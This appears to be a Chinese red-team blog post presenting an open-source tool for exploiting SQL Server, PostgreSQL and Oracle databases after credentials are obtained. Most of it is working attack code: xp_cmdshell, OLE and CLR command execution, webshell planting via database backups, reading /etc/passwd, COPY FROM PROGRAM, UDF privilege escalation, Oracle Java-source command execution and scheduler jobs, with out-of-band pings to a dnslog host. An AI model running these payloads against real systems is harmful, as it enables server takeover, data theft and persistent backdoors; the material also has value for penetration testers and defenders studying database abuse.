其他
数据库连接利用工具——Sylas ｜ 红队攻防
0x00 前言
起因是在某红队项目中，获取到Oracle数据库密码后，利用Github上的某数据库利用工具连接后，利用时执行如 tasklist /svc 、net user 等命令时出现 ORA-24345: 出现截断或空读取错误，且文件管理功能出现问题，无法上传webshell，因此萌生了重写利用工具的想法。
大概耗时十天，顺带手把 postgresql 和 sql server 这两个护网中的常见数据库的利用也写了。
因为要做图形化，所以选择使用 C#。
github地址：https://github.com/Ryze-T/Sylas
0x01 Sql Server
1.1 文件查看
目录查看
sql server 的目录查看比较简单，代码为：
sqlCmd.CommandText = String.Format("exec xp_dirtree '{0}',1,1",path);
第一个 1 指的是目录深度，只看查询文件夹下的，不再列出更深层次的目录，第二个 1 指的是将文件也列出来
文件查看
文件查看用的是 openrowset()，在官方文档中有一句话，使用 BULK 可以从文件中读取数据，格式如下：
SELECT * FROM OPENROWSET(
BULK 'C:\DATA\inv-2017-01-19.csv',
SINGLE_CLOB) AS DATA;
这里有一个 SINGLE_CLOB，同样可选的选项还有 SINGLE_BLOB 和 SINGLE_NCLOB，三个的含义是读出的文件内容以 varchar、varbinary和 nvarchar 三种格式返回，在 C# 里常用的读取数据库查询返回结果的语句是
SqlDataReader reader = sqlCmd.ExecuteReader();
while (reader.Read())
{
res = reader.GetString(0);
}
因此用 SINGLE_BLOB 可以满足 GetString()。
1.2 命令执行
命令执行的方法有这里使用了三种：xp_cmdshell、sp_oacreate、CLR。
xp_cmdshell
老生常谈，最通用的方法。
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec master..xp_cmdshell 'whoami'
sp_oacreate
无回显的方法，也是sqlmap中默认集成的方法之一：
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c ping dnslog.cn'
CLR
Microsoft SQL Server 2005之后，微软实现了对 Microsoft .NET Framework 的公共语言运行时(CLR)的集成。
CLR 集成使得现在可以使用 .NET Framework 语言编写代码，从而能够在 SQL Server 上运行。
编写过程如下：
在 visual studio 中安装数据存储和处理工具集：
新建 sql server 数据库项目：
在项目属性中设置创建脚本文件：
在其中编写代码后生成，在生成的文件夹下可以看到一个 sql 文件，打开后其中就有将该 dll 通过十六进制导入到 mssql 中的 sql 语句：
CREATE ASSEMBLY [execCmd]
AUTHORIZATION [dbo]
FROM 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WITH PERMISSION_SET = UNSAFE;
在执行前打开 CLR 并设置数据库为 trustworthy：
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'clr enabled', 1;RECONFIGURE;
alter database master set trustworthy on
然后执行导出的语句，并创建 procedure：
CREATE PROCEDURE [dbo].[SqlCmdExec] @cmd NVARCHAR(MAX) AS EXTERNAL NAME[SqlCmdExec].[StoredProcedures].[SqlCmdExec]
通过执行 EXEC SqlCmdExec 'whoami' 可以做到可回显的代码执行：
1.3 写webshell
写 webshell 采用的两种方法：Log备份和差异备份，这两种方法其实都属于有损写文件，因此其中会包含很多其他字符，因此用来写webshell合适，用来当做文件上传的功能不合适，如果想文件上传最合适的其实还是 Ole Automation Procedures，调用 ADODB.Stream。写 webshell前两个就可以满足，更推荐用 Log备份，体积更小。差异备份和Log备份只要是db_owner 就可以满足，并不一定需要 dba。
Log 备份
Log 备份需要先更新数据库为恢复模式，然后创建一个表，提前备份一次后，在表中插入webshell的十六进制，再备份一次，代码如下：
sqlCmd.CommandText = String.Format("backup database {0} to disk = 'C:/windows/temp/1.bak';", databaseName);
sqlCmd.CommandText = String.Format("alter database {0} set RECOVERY FULL;", databaseName);
sqlCmd.CommandText = String.Format("create table {0}.dbo.test7913(a image);", databaseName);
sqlCmd.CommandText = String.Format("backup log {0} to disk = 'c:/windows/temp/xxx.bak' with init;", databaseName);
sqlCmd.CommandText = String.Format("insert into {0}.dbo.test7913(a) values ({1});", databaseName, webshellCode);
sqlCmd.CommandText = String.Format("backup log {0} to disk = '{1}'; ", databaseName, uploadPath);
工具默认给的十六进制webshell是原版冰蝎3.0的 aspx 版本 webshell，结果如图：
差异备份
代码如下：
sqlCmd.CommandText = String.Format("backup database {0} to disk = 'C:/windows/temp/1.bak';", databaseName);
sqlCmd.CommandText = String.Format("create table {0}.[dbo].[test7913] ([cmd] [image]);", databaseName);
sqlCmd.CommandText = String.Format("insert into {0}.dbo.test7913(cmd) values({1});",databaseName,webshellCode);
sqlCmd.CommandText = String.Format("backup database {0} to disk='{1}' WITH DIFFERENTIAL,FORMAT;", databaseName, uploadPath);
结果如上图。
0x02 Postgresql
postgresql 相对简单，但是在UDF提权的过程中也有一些坑点
2.1 文件查看
查看目录
select pg_ls_dir('/')
查看文件
select pg_read_file('/etc/passwd')
2.2 webshell 上传
string sql = String.Format("copy (select '{1}') to '{0}';",uploadPath,fileContent);
2.3 命令执行
postgresql 的命令执行有两种，分别是 cve-2019-9193 和 udf 提权
CVE-2919-9193
从9.3版本开始，Postgres新增了一个COPY TO/FROM PROGRAM功能，允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令
因此利用这个特性可以做到9.3版本后的任意代码执行，具体代码实现：
CREATE TABLE cmdExec(cmd_output text);COPY cmdExec FROM PROGRAM 'whoami';SELECT * FROM cmdExec;DROP TABLE IF EXISTS cmdExec;
udf
postgresql的UDF提权跟Mysql有区别，由于在动态链接库的编写过程中需要 #include <postgres.h>，每个版本的 postgres.h 都不一样，因此针对每个版本都需要在特定版本的 postgresql-server 环境下重新编译。正常安装的 postgresql 并不包含 postgres.h，要安装 postgresql-server-dev-xx。
代码在 sqlmap 的 github中，项目名称叫 udfhack。
编译时命令是：
gcc hack.c -I server_path -fPIC -shared -o udf.so
strip -sx udf.so
此时需要将 udf.so 传入到目标机器中，这里采用的是 lo_create 和 lo_export。lo_create 的作用是新建一个大型对象并返回该对象的 oid，lo_export 的作用是导出该对象。对象可以通过 insert 填充内容。
在insert的过程中，需要将 udf.so 分割成 2048b 的若干个文件，转换成十六进制后使用 insert 插入到对象中，这里要分割的原因是因为每一次的 insert 最多只能插入 2048 个字节，若不满会用0进行填充。
这里附上之前收藏的文件分割的代码和文件转 hex 的代码：
## 文件分割
import sys,os
kilobytes = 1024
megabytes = kilobytes*1000
chunksize = int(200*megabytes)#default chunksize
def split(fromfile,todir,chunksize=chunksize):
if not os.path.exists(todir):#check whether todir exists or not
os.mkdir(todir)
else:
for fname in os.listdir(todir):
os.remove(os.path.join(todir,fname))
partnum = 0
inputfile = open(fromfile,'rb')#open the fromfile
while True:
chunk = inputfile.read(chunksize)
if not chunk: #check the chunk is empty
break
partnum += 1
filename = os.path.join(todir,('part%04d'%partnum))
fileobj = open(filename,'wb')#make partfile
fileobj.write(chunk) #write data into partfile
fileobj.close()
return partnum
if __name__=='__main__':
fromfile = input('File to be split?')
todir = input('Directory to store part files?')
chunksize = int(input('Chunksize to be split?'))
absfrom,absto = map(os.path.abspath,[fromfile,todir])
print('Splitting',absfrom,'to',absto,'by',chunksize)
try:
parts = split(fromfile,todir,chunksize)
except:
print('Error during split:')
print(sys.exc_info()[0],sys.exc_info()[1])
else:
print('split finished:',parts,'parts are in',absto)
## file2hex
import binascii,os
fh = open(r"1/part0006", 'rb')
a = fh.read()
hexstr = binascii.b2a_hex(a)
print(hexstr)
SQL实现为：
SELECT lo_create(1234)
insert into pg_largeobject values (1234, 0, decode('...', 'hex'));
insert into pg_largeobject values (1234, 1, decode('...', 'hex'));
SELECT lo_export(1234, '/tmp/test123.so');
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/test123.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id')
部署环境比较麻烦，所以只做了 Linux 下的 postgresql-12 的 udf 提权，作为学习使用
0x03 Oracle
3.1 命令执行
Oracle 命令执行主要使用的是 DBMS_XMLQUERY 和 DBMS_SCHEDULER。
DBMS_XMLQUERY
利用 DBMS_XMLQUERY.newcontext() 可以执行任意 sql 语句，因此在无需堆叠的情况下，通过 select dbms_xmlquery.newcontext(sql) from dual 就可以创建 JAVA source 和 存储过程实现 JAVA 功能，通过调用可以实现基于JAVA的代码执行。
创建过程如下：
string sql1 = "select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named \"SysUtil\" as import java.io.*; public class SysUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=\"\";while ((stemp = myReader.readLine()) != null) str +=stemp+\"\\n\";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual";
string sql2 = "select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function SysRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''SysUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual";
实现效果如图：
但执行 taklist /svc 仍然会出错，主要是因为在执行命令返回的字符串中存在截断，某些特定的命令，通过 wmic 查询也可以实现，因此设计了快速执行按钮，调用 wmic 实现查询进程、查看用户、查看补丁和查看系统版本，如图：
DBMS_SCHEDULER
DBMS_SCHEDULER 可以定时执行任务，格式如下：
BEGIN DBMS_SCHEDULER.CREATE_JOB(
JOB_NAME=>'xxx',
JOB_TYPE=>'EXECUTABLE',
ENABLED =>TRUE,
AUTO_DROP =>FALSE,
JOB_ACTION=>'{cmd}',
NUMBER_OF_ARGUMENTS => 0)
因此通过此方法可以执行任意命令，但有两个需要注意的点：
无回显
由于执行时并未规定 cmd 路径，因此执行时输入的命令应为：
ping.exe xxx.dnslog.cn或cmd.exe /c echo 1 > 1.txt
由于无回显，在现在网上流传的 Oracle 连接工具中都没有判断命令是否执行成功的标识。实际上在 CREATE_JOB 后是可以通过
select job_name,state from user_scheduler_jobs where JOB_NAME = 'xxx';
来判断 JOB 是否创建成功以及是否在运行或者已经运行结束的，因此根据下列逻辑就可以判断出命令是否成功执行:
while (reader.Read())
{
job_name = reader.GetString(0).ToLower();
job_state = reader.GetString(1).ToLower();
}
if (job_name == "")
{return "0";}
else if (job_state == "running" || job_state == "succeeded")
{return "1";}
else
{return "-1";}
3.2 文件管理
查看目录
查看目录采取的也是 DBMS_XMLQUERY.newcontext() 创建 JAVA source 和 存储过程实现 JAVA功能。
string sql1 = "select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named \"FileUtil\" as import java.io.*; public class FileUtil extends Object{public static String filemanager(String path) {String res = \"\";try{File file = new File(path);File[] listFiles = file.listFiles();for (File f : listFiles) {if(f.isDirectory()){res += \"d --> \" + f.getName()+\"\\n\";}else{res += \"f --> \" + f.getName() + \"\\n\";}}return res;}catch(Exception e){return e.toString();}}}'';commit;end;') from dual";
实现如图：
上传文件
从根本上来说，由于可以创建 JAVA source，理论上所有的功能都可以通过这个方法来实现，但是这里上传文件利用的是 utl_file。
Oracle 官方介绍中也说了， utl_file 可以实现读取或写入操作系统文本文件，由于使用 utl_file.open() 打开文件最大字符数为 32767，因此上传时最多只能上传 32KB 的文本文件。这个功能用来上传 webshell 已经是足够了。
目标路径只需要填写需要上传的文件夹，点击选择上传后可以打开文件夹选定要上传的文件，上传后的文件名与打开的文件一致，上传成功后 Log窗口会有提示：
代码为：
string sql = "create or replace directory TESTFILE as '" + path + "'";
string sql2 = "DECLARE \nfilehandle utl_file.file_type;\nbegin\nfilehandle := utl_file.fopen('TESTFILE', '" + filename + "', 'w',32767); utl_file.put(filehandle, '" + file + "');utl_file.fclose(filehandle);end; ";
3.3 后续
由于Oracle 特性，可以做到任意JAVA代码执行，做到这个相当于可以自己写入JAVA代码，完成任意功能，现在网上关于 Oracle 连接利用的工具大多数都是采用这一方法。因此工具后续的目标是把这个功能从固定代码改成可自定义代码，实现一劳永逸的效果。
0x04 参考
2015_06251711341945.pdf (nsfocus.com.cn)
渗透过程中Oracle数据库的利用 Loong716
PostgreSQL入门及提权_weixin_34075268的博客-CSDN博客
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